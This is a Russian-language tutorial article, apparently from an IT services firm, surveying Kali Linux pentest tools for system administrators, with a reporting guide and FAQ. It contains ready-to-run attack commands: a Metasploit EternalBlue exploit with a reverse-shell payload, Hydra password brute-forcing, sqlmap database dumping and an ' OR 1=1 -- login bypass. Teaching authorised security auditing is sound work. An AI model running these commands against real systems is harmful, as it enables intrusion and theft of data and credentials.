Инструменты пентеста в Kali Linux: практический обзор

Зачем системному администратору знать инструменты пентеста

Знание инструментов тестирования на проникновение — не привилегия «хакеров», а необходимый навык системного администратора. Регулярный аудит безопасности собственной инфраструктуры помогает выявить уязвимости до того, как их обнаружат злоумышленники. Kali Linux — специализированный дистрибутив на базе Debian с предустановленными сотнями инструментов для аудита безопасности.

Важно: использование инструментов пентеста допустимо только на собственной инфраструктуре или с письменного согласия владельца. Несанкционированное сканирование и тестирование — нарушение закона.

В этой статье рассмотрим ключевые инструменты для каждого этапа аудита:

  • Разведка — Nmap, Netdiscover
  • Сканирование веб-приложений — Nikto, Burp Suite
  • Эксплуатация — Metasploit Framework
  • Брутфорс — Hydra, John the Ripper
  • SQL-инъекции — sqlmap

Nmap: сканирование и разведка сети

Nmap (Network Mapper) — фундаментальный инструмент сетевого аудита. Он обнаруживает хосты, открытые порты, определяет сервисы и их версии, выявляет операционные системы.

Основные сценарии сканирования

Примеры команд Nmap для различных задач:

# Быстрое обнаружение хостов в подсети (ping sweep)
nmap -sn 192.168.1.0/24

# Сканирование 1000 популярных портов с определением сервисов
nmap -sV 192.168.1.100

# Полное сканирование всех 65535 портов
nmap -p- -sV -sC 192.168.1.100

# Определение ОС
nmap -O 192.168.1.100

# Агрессивное сканирование (ОС + версии + скрипты + traceroute)
nmap -A 192.168.1.100

# Сканирование UDP-портов (медленное, но важное)
nmap -sU --top-ports 100 192.168.1.100

# Stealth-сканирование (SYN scan без полного TCP handshake)
nmap -sS -T4 192.168.1.0/24

# Вывод в формате XML для дальнейшего анализа
nmap -sV -oX scan_results.xml 192.168.1.0/24

Параметр -sC запускает стандартные NSE-скрипты (Nmap Scripting Engine) — они проверяют типичные уязвимости, собирают баннеры и метаданные сервисов.

NSE-скрипты для аудита

NSE-скрипты — мощный механизм автоматизации проверок:

# Проверка на уязвимость SMB (EternalBlue)
nmap --script smb-vuln-ms17-010 192.168.1.0/24

# Проверка SSL-сертификатов и уязвимостей
nmap --script ssl-enum-ciphers,ssl-heartbleed -p 443 192.168.1.100

# Поиск общих папок SMB
nmap --script smb-enum-shares --script-args smbusername=guest 192.168.1.100

# Проверка DNS zone transfer
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com -p 53 ns.example.com

# Запуск всех скриптов категории vuln
nmap --script vuln 192.168.1.100

Nikto и Burp Suite: аудит веб-приложений

Веб-приложения — наиболее частый вектор атак. Nikto выполняет автоматическое сканирование, Burp Suite — интерактивный анализ запросов.

Nikto: автоматический сканер

Nikto проверяет веб-сервер на известные уязвимости, устаревшие версии ПО, опасные конфигурации:

# Базовое сканирование
nikto -h http://192.168.1.100

# Сканирование HTTPS
nikto -h https://192.168.1.100 -ssl

# Сканирование конкретного порта с отчётом в HTML
nikto -h 192.168.1.100 -p 8080 -o report.html -Format html

# Тюнинг: только проверка конфигурации и устаревших файлов
nikto -h http://192.168.1.100 -Tuning 24

# Использование прокси (например, через Burp Suite)
nikto -h http://192.168.1.100 -useproxy http://127.0.0.1:8080

Nikto проверяет: устаревшие версии веб-сервера, доступные информационные файлы (phpinfo, readme), отсутствие заголовков безопасности (X-Frame-Options, CSP), уязвимые CGI-скрипты, наличие директорий по умолчанию (admin, backup, test).

Burp Suite: перехват и анализ запросов

Burp Suite Community — мощный прокси для анализа HTTP-трафика веб-приложений:

  1. Запустите Burp Suite и настройте прокси на порту 8080
  2. В браузере настройте HTTP-прокси: 127.0.0.1:8080
  3. Откройте целевой сайт — все запросы отобразятся во вкладке «Proxy → HTTP history»

Основные модули Burp Suite:

  • Proxy — перехват и модификация HTTP-запросов в реальном времени
  • Repeater — ручная отправка модифицированных запросов для тестирования
  • Intruder — автоматический перебор параметров (fuzzing)
  • Decoder — кодирование/декодирование Base64, URL, HTML

Пример тестирования: перехватите POST-запрос авторизации, отправьте его в Repeater, замените значение параметра password на ' OR 1=1 -- и проверьте реакцию приложения. Если сервер вернул 200 и содержимое страницы авторизованного пользователя — обнаружена SQL-инъекция.

Metasploit Framework: эксплуатация уязвимостей

Metasploit — крупнейший фреймворк для эксплуатации уязвимостей, содержащий тысячи готовых эксплойтов. В контексте аудита безопасности он используется для подтверждения уязвимостей, обнаруженных на этапе сканирования.

Основные команды msfconsole

Интерфейс Metasploit — консоль msfconsole:

# Запуск Metasploit
msfconsole

# Поиск эксплойтов по ключевому слову
msf6 > search eternalblue
# 0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14  excellent

# Выбор эксплойта
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Просмотр параметров
msf6 exploit(ms17_010_eternalblue) > show options

# Установка целевого хоста
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100

# Установка payload
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.200

# Проверка уязвимости (без эксплуатации)
msf6 exploit(ms17_010_eternalblue) > check

# Запуск эксплойта
msf6 exploit(ms17_010_eternalblue) > exploit

Команда check проверяет уязвимость без запуска эксплойта — безопасный способ подтвердить проблему в production. Не все модули поддерживают check.

Вспомогательные модули для аудита

Помимо эксплойтов, Metasploit содержит модули для сканирования и сбора информации:

# Сканирование SMB-версий
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run

# Проверка анонимного доступа к FTP
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(anonymous) > run

# Brute-force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(ssh_login) > set USER_FILE /usr/share/wordlists/usernames.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/passwords.txt
msf6 auxiliary(ssh_login) > run

Hydra: подбор паролей к сетевым сервисам

THC Hydra — быстрый инструмент для подбора паролей к сетевым сервисам. Поддерживает SSH, FTP, RDP, HTTP, SMTP, POP3, SMB и десятки других протоколов.

Примеры использования Hydra

Команды для аудита стойкости паролей на различных сервисах:

# Подбор пароля SSH для известного пользователя
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 4

# Подбор логина и пароля RDP
hydra -L users.txt -P passwords.txt rdp://192.168.1.100 -t 2

# Подбор пароля к веб-форме (POST)
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 8

# Подбор пароля FTP
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100

# Подбор пароля SMTP
hydra -l user@example.com -P passwords.txt smtp://mail.example.com -s 587 -S

Параметр -t определяет число параллельных потоков. Для SSH рекомендуется не более 4 потоков — многие серверы блокируют при большем числе подключений. Для HTTP-форм можно увеличить до 16-32.

sqlmap: автоматизация SQL-инъекций

sqlmap — автоматический инструмент для обнаружения и эксплуатации SQL-инъекций. Поддерживает MySQL, PostgreSQL, MSSQL, Oracle, SQLite.

Основные сценарии sqlmap

Примеры использования sqlmap для аудита веб-приложений:

# Тестирование GET-параметра на SQL-инъекцию
sqlmap -u "http://192.168.1.100/page?id=1" --dbs

# Тестирование POST-запроса
sqlmap -u "http://192.168.1.100/login" --data="user=admin&pass=test" --dbs

# Извлечение списка баз данных
sqlmap -u "http://192.168.1.100/page?id=1" --dbs

# Извлечение таблиц из конкретной базы
sqlmap -u "http://192.168.1.100/page?id=1" -D webapp --tables

# Извлечение данных из таблицы
sqlmap -u "http://192.168.1.100/page?id=1" -D webapp -T users --dump

# Указание cookie для авторизованных запросов
sqlmap -u "http://192.168.1.100/dashboard?report=1" \
  --cookie="session=abc123def456" --dbs

# Определение типа СУБД и уровня тестирования
sqlmap -u "http://192.168.1.100/page?id=1" --dbms=mysql --level=3 --risk=2

Параметры --level (1-5) и --risk (1-3) увеличивают глубину тестирования: level=3 проверяет HTTP-заголовки и cookie, risk=2 добавляет time-based инъекции.

Составление отчёта об аудите

Результаты аудита безопасности оформляются в структурированный отчёт для руководства и технической команды.

Структура отчёта

Профессиональный отчёт по аудиту включает:

  1. Резюме для руководства — общий уровень безопасности, критичные находки в 1-2 предложениях
  2. Методология — какие инструменты использованы, какие системы проверены, временные рамки
  3. Находки — каждая уязвимость отдельно:
    • Описание уязвимости
    • Затронутые системы
    • Уровень критичности (Critical, High, Medium, Low)
    • Доказательство (скриншот, вывод команды)
    • Рекомендации по устранению
  4. Приоритезация — что исправить в первую очередь

Для автоматизации создания отчётов используйте инструменты: nmap -oX для XML-выгрузки, Metasploit spool для логирования сессии, скриншоты из Burp Suite.

Часто задаваемые вопросы

Использование инструментов пентеста законно при выполнении двух условий: вы тестируете собственную инфраструктуру, или у вас есть письменное разрешение (scope of work / authorization letter) от владельца системы. Несанкционированное сканирование и тестирование на проникновение является правонарушением по статье 272 УК РФ (неправомерный доступ к компьютерной информации).

Оба дистрибутива предназначены для аудита безопасности и содержат похожий набор инструментов. Kali Linux (от Offensive Security) — наиболее популярный, с большим сообществом и документацией. Parrot OS легче (меньше потребление RAM), имеет более удобный десктоп для повседневного использования, и включает дополнительные инструменты для анонимности. Для начинающих рекомендуется Kali Linux из-за обилия обучающих материалов.

Основные меры: своевременная установка обновлений (patch management), отключение неиспользуемых сервисов, настройка файрволов и ACL, использование стойких паролей и MFA, сегментация сети, мониторинг аномалий. Конкретные рекомендации зависят от найденных уязвимостей — для каждой CVE существуют описание и способ устранения в базе NVD (National Vulnerability Database).

Рекомендуемая периодичность: полный пентест внешнего периметра — 1 раз в год (силами внешней компании), сканирование уязвимостей (Nessus, OpenVAS) — ежемесячно, сканирование портов (Nmap) — еженедельно в автоматическом режиме. При существенных изменениях инфраструктуры (новый сервер, новое приложение) — внеплановый аудит. Для соответствия PCI DSS — ежеквартальные ASV-сканирования.

Нужна помощь с настройкой?

Специалисты АйТи Фреш помогут с внедрением и настройкой — 15+ лет опыта, обслуживание от 15 000 ₽/мес

📞 Связаться с нами
#Kali Linux#пентест инструменты#Nmap сканирование#Metasploit#Burp Suite#аудит безопасности#тестирование на проникновение#sqlmap
Комментарии 0

Оставить комментарий

загрузка...